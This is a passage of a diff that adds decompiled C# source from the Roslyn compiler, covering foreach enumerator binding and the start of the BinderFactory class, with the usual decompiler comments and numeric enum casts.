null) + { + builder.MoveNextInfo = MethodArgumentInfo.CreateParameterlessMethod(methodSymbol2); + } + } + else + { + builder.GetEnumeratorInfo = GetParameterlessSpecialTypeMemberInfo((SpecialMember)84, (SyntaxNode)(object)collectionSyntax, diagnostics); + builder.CurrentPropertyGetter = (MethodSymbol)GetSpecialTypeMember((SpecialMember)86, diagnostics, (SyntaxNode)(object)collectionSyntax); + builder.MoveNextInfo = GetParameterlessSpecialTypeMemberInfo((SpecialMember)87, (SyntaxNode)(object)collectionSyntax, diagnostics); + builder.ElementTypeWithAnnotations = builder.CurrentPropertyGetter?.ReturnTypeWithAnnotations ?? TypeWithAnnotations.Create(GetSpecialType((SpecialType)1, diagnostics, (SyntaxNode)(object)collectionSyntax)); + } + builder.NeedsDisposal = true; + return EnumeratorResult.Succeeded; + } + + private bool ReportConstantNullCollectionExpr(BoundExpression collectionExpr, BindingDiagnosticBag diagnostics) + { + ConstantValue constantValueOpt = collectionExpr.ConstantValueOpt; + if (constantValueOpt != null && constantValueOpt.IsNull) + { + diagnostics.Add(ErrorCode.ERR_NullNotValid, collectionExpr.Syntax.Location); + return true; + } + return false; + } + + private void GetDisposalInfoForEnumerator(SyntaxNode syntax, ref ForEachEnumeratorInfo.Builder builder, BoundExpression expr, bool isAsync, BindingDiagnosticBag diagnostics) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_0112: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol returnType = builder.GetEnumeratorInfo.Method.ReturnType; + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + MethodSymbol methodSymbol = null; + if (returnType.IsRefLikeType || isAsync) + { + BoundDisposableValuePlaceholder expr2 = new BoundDisposableValuePlaceholder(syntax, returnType); + methodSymbol = TryFindDisposePatternMethod(expr2, syntax, isAsync, BindingDiagnosticBag.Discarded); + if ((object)methodSymbol != null) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(methodSymbol.ParameterCount); + ImmutableArray argsToParamsOpt = default(ImmutableArray); + bool expanded = methodSymbol.HasParamsParameter(); + BindDefaultArguments(syntax, methodSymbol.Parameters, instance, null, ref argsToParamsOpt, out var defaultArguments, expanded, enableCallerInfo: true, diagnostics); + builder.NeedsDisposal = true; + builder.PatternDisposeInfo = new MethodArgumentInfo(methodSymbol, instance.ToImmutableAndFree(), argsToParamsOpt, defaultArguments, expanded); + if (!isAsync) + { + CheckFeatureAvailability(expr.Syntax, MessageID.IDS_FeatureDisposalPattern, diagnostics); + } + } + } + if (!returnType.IsRefLikeType && (object)methodSymbol == null) + { + if ((!returnType.IsSealed && !isAsync) || Conversions.ClassifyImplicitConversionFromType(returnType, isAsync ? Compilation.GetWellKnownType((WellKnownType)287) : Compilation.GetSpecialType((SpecialType)35), ref useSiteInfo).IsImplicit) + { + builder.NeedsDisposal = true; + } + ((BindingDiagnosticBag)(object)diagnostics).Add(syntax, useSiteInfo); + } + } + + private ForEachEnumeratorInfo.Builder GetDefaultEnumeratorInfo(SyntaxNode syntax, ForEachEnumeratorInfo.Builder builder, BindingDiagnosticBag diagnostics, TypeSymbol collectionExprType) + { + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Invalid comparison between Unknown and I4 + builder.CollectionType = GetSpecialType((SpecialType)24, diagnostics, syntax); + if (collectionExprType.IsDynamic()) + { + ForEachStatementSyntax obj = syntax as ForEachStatementSyntax; + builder.ElementTypeWithAnnotations = TypeWithAnnotations.Create((obj != null && obj.Type.IsVar) ? ((TypeSymbol)DynamicTypeSymbol.Instance) : ((TypeSymbol)GetSpecialType((SpecialType)1, diagnostics, syntax))); + } + else + { + builder.ElementTypeWithAnnotations = (((int)collectionExprType.SpecialType == 20) ? TypeWithAnnotations.Create(GetSpecialType((SpecialType)8, diagnostics, syntax)) : ((ArrayTypeSymbol)collectionExprType).ElementTypeWithAnnotations); + } + builder.GetEnumeratorInfo = GetParameterlessSpecialTypeMemberInfo((SpecialMember)84, syntax, diagnostics); + builder.CurrentPropertyGetter = (MethodSymbol)GetSpecialTypeMember((SpecialMember)86, diagnostics, syntax); + builder.MoveNextInfo = GetParameterlessSpecialTypeMemberInfo((SpecialMember)87, syntax, diagnostics); + builder.NeedsDisposal = true; + return builder; + } + + private bool SatisfiesGetEnumeratorPattern(SyntaxNode syntax, ExpressionSyntax collectionSyntax, ref ForEachEnumeratorInfo.Builder builder, BoundExpression collectionExpr, bool isAsync, bool viaExtensionMethod, BindingDiagnosticBag diagnostics) + { + string methodName = (isAsync ? "GetAsyncEnumerator" : "GetEnumerator"); + MethodArgumentInfo methodArgumentInfo; + if (viaExtensionMethod) + { + methodArgumentInfo = FindForEachPatternMethodViaExtension(syntax, collectionSyntax, collectionExpr, methodName, diagnostics); + } + else + { + LookupResult instance = LookupResult.GetInstance(); + methodArgumentInfo = FindForEachPatternMethod(syntax, collectionSyntax, collectionExpr.Type, methodName, instance, warningsOnly: true, diagnostics, isAsync); + instance.Free(); + } + builder.GetEnumeratorInfo = methodArgumentInfo; + return (object)methodArgumentInfo != null; + } + + private MethodArgumentInfo FindForEachPatternMethod(SyntaxNode syntax, ExpressionSyntax collectionSyntax, TypeSymbol patternType, string methodName, LookupResult lookupResult, bool warningsOnly, BindingDiagnosticBag diagnostics, bool isAsync) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_004d: Unknown result type (might be due to invalid IL or missing references) + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_005e: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Invalid comparison between Unknown and I4 + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + LookupMembersInType(lookupResult, patternType, methodName, 0, null, LookupOptions.Default, this, diagnose: false, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)collectionSyntax, useSiteInfo); + if (!lookupResult.IsMultiViable) + { + ReportPatternMemberLookupDiagnostics(collectionSyntax, lookupResult, patternType, methodName, warningsOnly, diagnostics); + return null; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Enumerator enumerator = lookupResult.Symbols.GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if ((int)current.Kind != 9) + { + instance.Free(); + if (warningsOnly) + { + ReportEnumerableWarning(collectionSyntax, diagnostics, patternType, current); + } + return null; + } + if (((MethodSymbol)current).ParameterCount == 0 || isAsync) + { + instance.Add((MethodSymbol)current); + } + } + MethodArgumentInfo result = PerformForEachPatternOverloadResolution(syntax, collectionSyntax, patternType, instance, warningsOnly, diagnostics, isAsync); + instance.Free(); + return result; + } + + private MethodArgumentInfo PerformForEachPatternOverloadResolution(SyntaxNode syntax, ExpressionSyntax collectionSyntax, TypeSymbol patternType, ArrayBuilder candidateMethods, bool warningsOnly, BindingDiagnosticBag diagnostics, bool isAsync) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Invalid comparison between Unknown and I4 + //IL_0151: Unknown result type (might be due to invalid IL or missing references) + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + OverloadResolutionResult instance3 = OverloadResolutionResult.GetInstance(); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + BoundImplicitReceiver receiver = new BoundImplicitReceiver((SyntaxNode)(object)collectionSyntax, patternType); + OverloadResolution.MethodInvocationOverloadResolution(candidateMethods, instance2, receiver, instance, instance3, ref useSiteInfo, isMethodGroupConversion: false, allowRefOmittedArguments: false, inferWithDynamic: false, allowUnexpandedForm: true, (RefKind)0, null, isFunctionPointerResolution: false, isExtensionMethodResolution: false, default(CallingConventionInfo)); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)collectionSyntax, useSiteInfo); + MethodSymbol methodSymbol = null; + MethodArgumentInfo result = null; + if (instance3.Succeeded) + { + methodSymbol = instance3.ValidResult.Member; + if (methodSymbol.IsStatic || (int)methodSymbol.DeclaredAccessibility != 6) + { + if (warningsOnly) + { + MessageID id = (isAsync ? MessageID.IDS_FeatureAsyncStreams : MessageID.IDS_Collection); + diagnostics.Add(ErrorCode.WRN_PatternNotPublicOrNotInstance, ((SyntaxNode)collectionSyntax).Location, patternType, id.Localize(), methodSymbol); + } + methodSymbol = null; + } + else if (methodSymbol.CallsAreOmitted(syntax.SyntaxTree)) + { + methodSymbol = null; + } + else + { + ImmutableArray argsToParamsOpt = instance3.ValidResult.Result.ArgsToParamsOpt; + bool expanded = instance3.ValidResult.Result.Kind == MemberResolutionKind.ApplicableInExpandedForm; + BindDefaultArguments(syntax, methodSymbol.Parameters, instance.Arguments, instance.RefKinds, ref argsToParamsOpt, out var defaultArguments, expanded, enableCallerInfo: true, diagnostics); + result = new MethodArgumentInfo(methodSymbol, instance.Arguments.ToImmutable(), argsToParamsOpt, defaultArguments, expanded); + } + } + else + { + ImmutableArray allApplicableMembers = instance3.GetAllApplicableMembers(); + if (allApplicableMembers.Length > 1 && warningsOnly) + { + diagnostics.Add(ErrorCode.WRN_PatternIsAmbiguous, ((SyntaxNode)collectionSyntax).Location, patternType, MessageID.IDS_Collection.Localize(), allApplicableMembers[0], allApplicableMembers[1]); + } + } + instance3.Free(); + instance.Free(); + instance2.Free(); + return result; + } + + private MethodArgumentInfo FindForEachPatternMethodViaExtension(SyntaxNode syntax, ExpressionSyntax collectionSyntax, BoundExpression collectionExpr, string methodName, BindingDiagnosticBag diagnostics) + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_007d: Unknown result type (might be due to invalid IL or missing references) + //IL_0082: Unknown result type (might be due to invalid IL or missing references) + //IL_00b4: Unknown result type (might be due to invalid IL or missing references) + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + MethodGroupResolution methodGroupResolution = BindExtensionMethod((SyntaxNode)(object)collectionSyntax, methodName, instance, collectionExpr, default(ImmutableArray), isMethodGroupConversion: false, (RefKind)0, null, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + ((BindingDiagnosticBag)(object)diagnostics).AddRange(methodGroupResolution.Diagnostics, false); + OverloadResolutionResult overloadResolutionResult = methodGroupResolution.OverloadResolutionResult; + if (overloadResolutionResult != null && overloadResolutionResult.Succeeded) + { + MethodSymbol member = overloadResolutionResult.ValidResult.Member; + if (member.CallsAreOmitted(syntax.SyntaxTree)) + { + methodGroupResolution.Free(); + instance.Free(); + return null; + } + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + Conversion conversion = Conversions.ClassifyConversionFromExpression(collectionExpr, member.Parameters[0].Type, CheckOverflowAtRuntime, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add(syntax, useSiteInfo); + collectionExpr = new BoundConversion(collectionExpr.Syntax, collectionExpr, conversion, CheckOverflowAtRuntime, explicitCastInCode: false, null, null, member.Parameters[0].Type); + MethodArgumentInfo result = BindDefaultArguments(member, collectionExpr, overloadResolutionResult.ValidResult.Result.Kind == MemberResolutionKind.ApplicableInExpandedForm, collectionExpr.Syntax, diagnostics); + methodGroupResolution.Free(); + instance.Free(); + return result; + } + ImmutableArray? immutableArray = overloadResolutionResult?.GetAllApplicableMembers(); + if (immutableArray.HasValue) + { + ImmutableArray valueOrDefault = immutableArray.GetValueOrDefault(); + if (valueOrDefault.Length > 1) + { + diagnostics.Add(ErrorCode.WRN_PatternIsAmbiguous, ((SyntaxNode)collectionSyntax).Location, collectionExpr.Type, MessageID.IDS_Collection.Localize(), valueOrDefault[0], valueOrDefault[1]); + goto IL_01e3; + } + } + overloadResolutionResult?.ReportDiagnostics(this, ((SyntaxNode)collectionSyntax).Location, (SyntaxNode)(object)collectionSyntax, diagnostics, methodName, null, (SyntaxNode)(object)collectionSyntax, methodGroupResolution.AnalyzedArguments, methodGroupResolution.MethodGroup.Methods.ToImmutable(), null, null); + goto IL_01e3; + IL_01e3: + methodGroupResolution.Free(); + instance.Free(); + return null; + } + + private bool SatisfiesForEachPattern(SyntaxNode syntax, ExpressionSyntax collectionSyntax, ref ForEachEnumeratorInfo.Builder builder, bool isAsync, BindingDiagnosticBag diagnostics) + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Expected I4, but got Unknown + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_006a: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0087: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Invalid comparison between Unknown and I4 + //IL_00d4: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Invalid comparison between Unknown and I4 + //IL_010e: Unknown result type (might be due to invalid IL or missing references) + //IL_0164: Unknown result type (might be due to invalid IL or missing references) + //IL_016a: Invalid comparison between Unknown and I4 + TypeSymbol returnType = builder.GetEnumeratorInfo.Method.ReturnType; + TypeKind typeKind = returnType.TypeKind; + switch (typeKind - 2) + { + case 10: + throw ExceptionUtilities.UnexpectedValue((object)returnType.TypeKind); + default: + return false; + case 0: + case 2: + case 5: + case 8: + case 9: + { + LookupResult instance = LookupResult.GetInstance(); + try + { + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + LookupMembersInType(instance, returnType, "Current", 0, null, LookupOptions.Default, this, diagnose: false, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)collectionSyntax, useSiteInfo); + useSiteInfo._002Ector(useSiteInfo); + if (!instance.IsSingleViable) + { + ReportPatternMemberLookupDiagnostics(collectionSyntax, instance, returnType, "Current", warningsOnly: false, diagnostics); + return false; + } + Symbol singleSymbolOrDefault = instance.SingleSymbolOrDefault; + if (singleSymbolOrDefault.IsStatic || (int)singleSymbolOrDefault.DeclaredAccessibility != 6 || (int)singleSymbolOrDefault.Kind != 15) + { + return false; + } + MethodSymbol ownOrInheritedGetMethod = ((PropertySymbol)singleSymbolOrDefault).GetOwnOrInheritedGetMethod(); + if ((object)ownOrInheritedGetMethod == null) + { + return false; + } + bool num = IsAccessible(ownOrInheritedGetMethod, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)collectionSyntax, useSiteInfo); + if (!num) + { + return false; + } + builder.CurrentPropertyGetter = ownOrInheritedGetMethod; + instance.Clear(); + MethodArgumentInfo methodArgumentInfo = FindForEachPatternMethod(syntax, collectionSyntax, returnType, isAsync ? "MoveNextAsync" : "MoveNext", instance, warningsOnly: false, diagnostics, isAsync); + if ((object)methodArgumentInfo == null || methodArgumentInfo.Method.IsStatic || (int)methodArgumentInfo.Method.DeclaredAccessibility != 6 || IsInvalidMoveNextMethod(methodArgumentInfo.Method, isAsync)) + { + return false; + } + builder.MoveNextInfo = methodArgumentInfo; + return true; + } + finally + { + instance.Free(); + } + } + } + } + + private bool IsInvalidMoveNextMethod(MethodSymbol moveNextMethodCandidate, bool isAsync) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Invalid comparison between Unknown and I4 + if (isAsync) + { + return false; + } + return (int)moveNextMethodCandidate.OriginalDefinition.ReturnType.SpecialType != 7; + } + + private void ReportEnumerableWarning(ExpressionSyntax collectionSyntax, BindingDiagnosticBag diagnostics, TypeSymbol enumeratorType, Symbol patternMemberCandidate) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + if (IsAccessible(patternMemberCandidate, ref useSiteInfo)) + { + diagnostics.Add(ErrorCode.WRN_PatternBadSignature, ((SyntaxNode)collectionSyntax).Location, enumeratorType, MessageID.IDS_Collection.Localize(), patternMemberCandidate); + } + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)collectionSyntax, useSiteInfo); + } + + internal static bool IsIEnumerable(TypeSymbol type) + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + SpecialType specialType = type.OriginalDefinition.SpecialType; + if (specialType - 24 <= 1) + { + return true; + } + return false; + } + + private bool IsIAsyncEnumerable(TypeSymbol type) + { + return type.OriginalDefinition.Equals(Compilation.GetWellKnownType((WellKnownType)288)); + } + + private bool AllInterfacesContainsIEnumerable(ExpressionSyntax collectionSyntax, ref ForEachEnumeratorInfo.Builder builder, TypeSymbol type, bool isAsync, BindingDiagnosticBag diagnostics, out bool foundMultiple) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + NamedTypeSymbol namedTypeSymbol = GetIEnumerableOfT(type, isAsync, Compilation, ref useSiteInfo, out foundMultiple); + if ((object)namedTypeSymbol == null || !IsAccessible(namedTypeSymbol, ref useSiteInfo)) + { + namedTypeSymbol = null; + if (!isAsync) + { + NamedTypeSymbol specialType = Compilation.GetSpecialType((SpecialType)24); + if ((object)specialType != null && Conversions.ClassifyImplicitConversionFromType(type, specialType, ref useSiteInfo).IsImplicit) + { + namedTypeSymbol = specialType; + } + } + } + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)collectionSyntax, useSiteInfo); + builder.CollectionType = namedTypeSymbol; + return (object)namedTypeSymbol != null; + } + + internal static NamedTypeSymbol GetIEnumerableOfT(TypeSymbol type, bool isAsync, CSharpCompilation compilation, ref CompoundUseSiteInfo useSiteInfo, out bool foundMultiple) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Invalid comparison between Unknown and I4 + NamedTypeSymbol result = null; + foundMultiple = false; + if ((int)type.TypeKind == 11) + { + TypeParameterSymbol typeParameterSymbol = (TypeParameterSymbol)type; + GetIEnumerableOfT(ImmutableArrayExtensions.Concat(typeParameterSymbol.EffectiveBaseClass(ref useSiteInfo).AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo), typeParameterSymbol.AllEffectiveInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo)), isAsync, compilation, ref result, ref foundMultiple); + } + else + { + GetIEnumerableOfT(type.AllInterfacesWithDefinitionUseSiteDiagnostics(ref useSiteInfo), isAsync, compilation, ref result, ref foundMultiple); + } + return result; + } + + private static void GetIEnumerableOfT(ImmutableArray interfaces, bool isAsync, CSharpCompilation compilation, ref NamedTypeSymbol result, ref bool foundMultiple) + { + if (foundMultiple) + { + return; + } + interfaces = MethodTypeInferrer.ModuloReferenceTypeNullabilityDifferences(interfaces, (VarianceKind)2); + ImmutableArray.Enumerator enumerator = interfaces.GetEnumerator(); + while (enumerator.MoveNext()) + { + NamedTypeSymbol current = enumerator.Current; + if (IsIEnumerableT(current.OriginalDefinition, isAsync, compilation)) + { + if ((object)result != null && !TypeSymbol.Equals(current, result, (TypeCompareKind)4)) + { + foundMultiple = true; + break; + } + result = current; + } + } + } + + internal static bool IsIEnumerableT(TypeSymbol type, bool isAsync, CSharpCompilation compilation) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Invalid comparison between Unknown and I4 + if (isAsync) + { + return type.Equals(compilation.GetWellKnownType((WellKnownType)288)); + } + return (int)type.SpecialType == 25; + } + + private void ReportPatternMemberLookupDiagnostics(ExpressionSyntax collectionSyntax, LookupResult lookupResult, TypeSymbol patternType, string memberName, bool warningsOnly, BindingDiagnosticBag diagnostics) + { + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + if (lookupResult.Symbols.Any()) + { + if (warningsOnly) + { + ReportEnumerableWarning(collectionSyntax, diagnostics, patternType, lookupResult.Symbols.First()); + return; + } + lookupResult.Clear(); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + LookupMembersInType(lookupResult, patternType, memberName, 0, null, LookupOptions.Default, this, diagnose: true, ref useSiteInfo); + ((BindingDiagnosticBag)(object)diagnostics).Add((SyntaxNode)(object)collectionSyntax, useSiteInfo); + if (lookupResult.Error != null) + { + diagnostics.Add(lookupResult.Error, ((SyntaxNode)collectionSyntax).Location); + } + } + else if (!warningsOnly) + { + diagnostics.Add(ErrorCode.ERR_NoSuchMember, ((SyntaxNode)collectionSyntax).Location, patternType, memberName); + } + } + + private MethodArgumentInfo GetParameterlessSpecialTypeMemberInfo(SpecialMember member, SyntaxNode syntax, BindingDiagnosticBag diagnostics) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol methodSymbol = (MethodSymbol)GetSpecialTypeMember(member, diagnostics, syntax); + if ((object)methodSymbol == null) + { + return null; + } + return MethodArgumentInfo.CreateParameterlessMethod(methodSymbol); + } + + private MethodArgumentInfo BindDefaultArguments(MethodSymbol method, BoundExpression extensionReceiverOpt, bool expanded, SyntaxNode syntax, BindingDiagnosticBag diagnostics, bool assertMissingParametersAreOptional = true) + { + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + if (method.ParameterCount == 0) + { + return MethodArgumentInfo.CreateParameterlessMethod(method); + } + ArrayBuilder instance = ArrayBuilder.GetInstance(method.ParameterCount); + if (method.IsExtensionMethod) + { + instance.Add(extensionReceiverOpt); + } + ImmutableArray argsToParamsOpt = default(ImmutableArray); + BindDefaultArguments(syntax, method.Parameters, instance, null, ref argsToParamsOpt, out var defaultArguments, expanded, enableCallerInfo: true, diagnostics, assertMissingParametersAreOptional); + return new MethodArgumentInfo(method, instance.ToImmutableAndFree(), argsToParamsOpt, defaultArguments, expanded); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinderFactory.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinderFactory.cs new file mode 100644 index 0000000..ec4d8fb --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/BinderFactory.cs @@ -0,0 +1,1249 @@ +using System; +using System.Collections.Immutable; +using System.Linq; +using System.Threading; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class BinderFactory +{ + private sealed class BinderFactoryVisitor : CSharpSyntaxVisitor + { + private int _position; + + private CSharpSyntaxNode _memberDeclarationOpt; + + private Symbol _memberOpt; + + private readonly BinderFactory _factory; + + private CSharpCompilation compilation => _factory._compilation; + + private SyntaxTree syntaxTree => _factory._syntaxTree; + + private BuckStopsHereBinder buckStopsHereBinder => _factory._buckStopsHereBinder; + + private ConcurrentCache binderCache => _factory._binderCache; + + private bool InScript => _factory.InScript; + + internal BinderFactoryVisitor(BinderFactory factory) + { + _factory = factory; + } + + internal void Initialize(int position, CSharpSyntaxNode memberDeclarationOpt, Symbol memberOpt) + { + _position = position; + _memberDeclarationOpt = memberDeclarationOpt; + _memberOpt = memberOpt; + } + + public override Binder DefaultVisit(SyntaxNode parent) + { + return VisitCore(parent.Parent); + } + + public override Binder Visit(SyntaxNode node) + { + return VisitCore(node); + } + + private Binder VisitCore(SyntaxNode node) + { + return ((CSharpSyntaxNode)(object)node).Accept(this); + } + + public override Binder VisitGlobalStatement(GlobalStatementSyntax node) + { + if (SyntaxFacts.IsSimpleProgramTopLevelStatement(node)) + { + CompilationUnitSyntax compilationUnitSyntax = (CompilationUnitSyntax)node.Parent; + if ((object)compilationUnitSyntax != syntaxTree.GetRoot(default(CancellationToken))) + { + throw new ArgumentOutOfRangeException("node", "node not part of tree"); + } + BinderCacheKey binderCacheKey = CreateBinderCacheKey(compilationUnitSyntax, NodeUsage.MethodBody); + Binder binder = default(Binder); + if (!binderCache.TryGetValue(binderCacheKey, ref binder)) + { + binder = SynthesizedSimpleProgramEntryPointSymbol.GetSimpleProgramEntryPoint(compilation, (CompilationUnitSyntax)node.Parent, fallbackToMainEntryPoint: false).GetBodyBinder(_factory._ignoreAccessibility).GetBinder((SyntaxNode)(object)compilationUnitSyntax); + binderCache.TryAdd(binderCacheKey, binder); + } + return binder; + } + return base.VisitGlobalStatement(node); + } + + public override Binder VisitMethodDeclaration(MethodDeclarationSyntax methodDecl) + { + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + if (!LookupPosition.IsInMethodDeclaration(_position, methodDecl)) + { + return VisitCore((SyntaxNode)(object)methodDecl.Parent); + } + NodeUsage nodeUsage = (LookupPosition.IsInBody(_position, methodDecl) ? NodeUsage.MethodBody : (LookupPosition.IsInMethodTypeParameterScope(_position, methodDecl) ? NodeUsage.MethodTypeParameters : NodeUsage.Normal)); + BinderCacheKey binderCacheKey = CreateBinderCacheKey(methodDecl, nodeUsage); + Binder binder = default(Binder); + if (!binderCache.TryGetValue(binderCacheKey, ref binder)) + { + binder = ((!(methodDecl.Parent is TypeDeclarationSyntax parent)) ? VisitCore((SyntaxNode)(object)methodDecl.Parent) : VisitTypeDeclarationCore(parent, NodeUsage.MethodBody)); + SourceMemberMethodSymbol sourceMemberMethodSymbol = null; + if (nodeUsage != NodeUsage.Normal && methodDecl.TypeParameterList != null) + { + sourceMemberMethodSymbol = GetMethodSymbol(methodDecl, binder); + binder = new WithMethodTypeParametersBinder(sourceMemberMethodSymbol, binder); + } + if (nodeUsage == NodeUsage.MethodBody) + { + sourceMemberMethodSymbol = sourceMemberMethodSymbol ?? GetMethodSymbol(methodDecl, binder); + binder = new InMethodBinder(sourceMemberMethodSymbol, binder); + } + binder = binder.WithUnsafeRegionIfNecessary(methodDecl.Modifiers); + binderCache.TryAdd(binderCacheKey, binder); + } + return binder; + } + + public override Binder VisitConstructorDeclaration(ConstructorDeclarationSyntax parent) + { + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + if (!LookupPosition.IsInMethodDeclaration(_position, parent)) + { + return VisitCore((SyntaxNode)(object)parent.Parent); + } + bool flag = LookupPosition.IsInConstructorParameterScope(_position, parent); + NodeUsage usage = (flag ? NodeUsage.MethodTypeParameters : NodeUsage.Normal); + BinderCacheKey binderCacheKey = CreateBinderCacheKey(parent, usage); + Binder binder = default(Binder); + if (!binderCache.TryGetValue(binderCacheKey, ref binder)) + { + binder = VisitCore((SyntaxNode)(object)parent.Parent); + if (flag) + { + SourceMemberMethodSymbol methodSymbol = GetMethodSymbol(parent, binder); + if ((object)methodSymbol != null) + { + binder = new InMethodBinder(methodSymbol, binder); + } + } + binder = binder.WithUnsafeRegionIfNecessary(parent.Modifiers); + binderCache.TryAdd(binderCacheKey, binder); + } + return binder; + } + + public override Binder VisitDestructorDeclaration(DestructorDeclarationSyntax parent) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + if (!LookupPosition.IsInBody(_position, parent)) + { + return VisitCore((SyntaxNode)(object)parent.Parent); + } + BinderCacheKey binderCacheKey = CreateBinderCacheKey(parent, NodeUsage.Normal); + Binder binder = default(Binder); + if (!binderCache.TryGetValue(binderCacheKey, ref binder)) + { + binder = VisitCore((SyntaxNode)(object)parent.Parent); + binder = new InMethodBinder(GetMethodSymbol(parent, binder), binder); + binder = binder.WithUnsafeRegionIfNecessary(parent.Modifiers); + binderCache.TryAdd(binderCacheKey, binder); + } + return binder; + } + + public override Binder VisitAccessorDeclaration(AccessorDeclarationSyntax parent) + { + if (!LookupPosition.IsInMethodDeclaration(_position, parent)) + { + return VisitCore((SyntaxNode)(object)parent.Parent); + } + bool flag = LookupPosition.IsInBody(_position, parent); + NodeUsage usage = (flag ? NodeUsage.MethodTypeParameters : NodeUsage.Normal); + BinderCacheKey binderCacheKey = CreateBinderCacheKey(parent, usage); + Binder binder = default(Binder); + if (!binderCache.TryGetValue(binderCacheKey, ref binder)) + { + binder = VisitCore((SyntaxNode)(object)parent.Parent); + if (flag) + { + CSharpSyntaxNode parent2 = parent.Parent.Parent; + MethodSymbol methodSymbol = null; + switch (parent2.Kind()) + { + case SyntaxKind.PropertyDeclaration: + case SyntaxKind.IndexerDeclaration: + { + SourcePropertySymbol propertySymbol = GetPropertySymbol((BasePropertyDeclarationSyntax)parent2, binder); + if ((object)propertySymbol != null) + { + methodSymbol = ((parent.Kind() == SyntaxKind.GetAccessorDeclaration) ? propertySymbol.GetMethod : propertySymbol.SetMethod); + } + break; + } + case SyntaxKind.EventFieldDeclaration: + case SyntaxKind.EventDeclaration: + { + SourceEventSymbol eventSymbol = GetEventSymbol((EventDeclarationSyntax)parent2, binder); + if ((object)eventSymbol != null) + { + methodSymbol = ((parent.Kind() == 